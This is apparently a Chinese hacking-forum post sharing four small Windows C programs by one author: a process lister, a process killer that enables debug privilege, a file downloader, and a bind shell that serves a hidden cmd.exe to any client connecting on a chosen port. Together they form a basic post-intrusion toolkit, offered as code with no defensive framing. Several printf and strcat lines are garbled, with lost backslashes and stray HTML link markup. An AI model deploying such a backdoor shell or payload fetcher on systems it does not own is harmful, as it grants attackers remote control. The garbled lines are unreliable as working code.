来自[幻影旅团论坛]
PsList.c
复制内容到剪贴板
代码:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
void Help( );
int main( )
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
Help( );
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
return -1;
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
CloseHandle( hProcessSnap );
return -1;
}
printf( "PID\t\tProcessName\t\tFilePath\n" );
do
{
printf( "%d\t\t", pe32.th32ProcessID );
printf( "%s\t\n", pe32.szExeFile );
}
while( Process32Next( hProcessSnap, &pe32 ) );
return 1;
}
void Help( )
{
printf( "Process Information List 0.1\n" );
printf( "Code by 云舒([email]wustyunshu@hotmail.com[/email])\n" );
printf( "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n" target="_blank">[url]www.icylife.net[/url]\n</a>" );
}kill.c
复制内容到剪贴板
代码:
#include <windows.h>
#include <stdio.h>
void Help( char * );
void GetDebugPriv( );
int main( int argc , char *argv[] )
{
HANDLE hProcess = NULL;
DWORD pID;
if( argc != 2 )
{
Help( argv[0] );
return -1;
}
pID = atoi(argv[1]);
GetDebugPriv( );
hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
{
printf( "Open Process Failed,Error=%d\n" , GetLastError() );
return -1;
}
if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
{
printf( "Terminate Process Failed,Error=%d\n" , GetLastError() );
CloseHandle( hProcess );
return -1;
}
printf( "%d killed \n" , pID );
CloseHandle( hProcess );
return 1;
}
void GetDebugPriv( )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
{
printf( "Open Process Token Failed\n" );
return;
}
if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
printf( "Set Privileg Failed\n" );
CloseHandle( hToken );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );
CloseHandle( hToken );
}
void Help( char * name )
{
printf( "Process Killer 0.1\n" );
printf( "Code by 云舒([email]wustyunshu@hotmail.com[/email])\n" );
printf( "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n\n" target="_blank">[url]www.icylife.net[/url]\n\n</a>" );
printf( "\nUsage:%s\t<PID>\n" , name );
}DownLoadFile.c
复制内容到剪贴板
代码:
#include <stdio.h>
#include <winsock2.h>
#include <UrlMon.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment(lib, "urlmon.lib")
void Help( char * );
int main( int argc , char *argv[] )
{
char fileName[32] = { 0 };//保存的文件名
char fullPath[128] = { 0 };//保存的完整地址
char url[512] = { 0 };//下载的URL
char seps[] = "/";//分割字符
char *token;
if( argc != 2 && argc!= 3 )
{
Help( argv[0] );
return -1;
}
else if( argc == 3 )
{
if( strlen(argv[1]) >= 512 )
{
printf( "URL is too long...\n" );
return -1;
}
strcpy( url , argv[1] );
if( strlen(argv[2]) >= 32 )
{
printf( "file name is too long...\n" );
return -1;
}
strcpy( fileName , argv[2] );
}
else if( argc == 2 )
{
if( strlen(argv[1]) >= 512 )
{
printf( "URL is too long...\n" );
return -1;
}
strcpy( url , argv[1] );
token = strtok( url , seps );
while( token != NULL )
{
strcpy( fileName , token );
token = strtok( NULL , seps );
}
strcpy( url , argv[1] );
/*调试用
printf( "%s\n" , url );
printf( "%s\n" , fileName );
*/
}
GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
strcat( fullPath , "\" );
strcat( fullPath , fileName );
int ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
if( ret == S_OK )
{
printf( "DownLoad %s okn" , url );
printf( "The file saved to %sn" , fileName );
return 1;
}
printf( "DownLoad Error...%dn" ,GetLastError() );
return -1;
}
void Help( char * name )
{
printf( "DownLoad file 0.1n" );
printf( "Code by 云舒([email]wustyunshu@hotmail.com[/email])n" );
printf( "[url]www.ph4nt0m.org[/url] <a href="[url]http://www.icylife.net[/url]\n\n" target="_blank">[url]www.icylife.netnn</a>[/url]" );
printf( "Usage:%st <URL>n" , name );
printf( "Usage:%st <URL>t[SaveName]n" , name );
}BindShell.c
复制内容到剪贴板
代码:
#include <winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
#define BUFFSIZE 1024 * 5
int main(int argc,char *argv[])
{
WSADATA wsa;
SOCKET listenSock,clientSock;
char ip[16] = {0};
char buff[BUFFSIZE] = {0};
int ret,port;
if( argc != 3 )
{
printf( "shell\tListenIP\tListenPort\n" );
return(-1);
}
WSAStartup(MAKEWORD(2,2),&wsa);
if( strlen(argv[1]) >= 16 ) return(-1);
strcpy( ip , argv[1] );
port = atoi(argv[2]);
listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0);
struct sockaddr_in sin;
memset( &sin,0,sizeof(sin) );
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(ip);
bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
listen( listenSock , 3 );
int clientSize = sizeof(sin);
clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory( &si,sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
//si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ZeroMemory( &ProcessInformation );
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1)
{
memset( buff,0,BUFFSIZE );
ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
//尝试5次读取管道,防止延迟发生错误
int i;
for(i = 0; i < 5 && lBytesRead == 0; i++)
{
Sleep(50);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
}
if(lBytesRead)
{
ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
if( !ret ) break;
ret=send(clientSock,buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
//WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
closesocket(clientSock);
closesocket(listenSock);
WSACleanup();
return 0;
}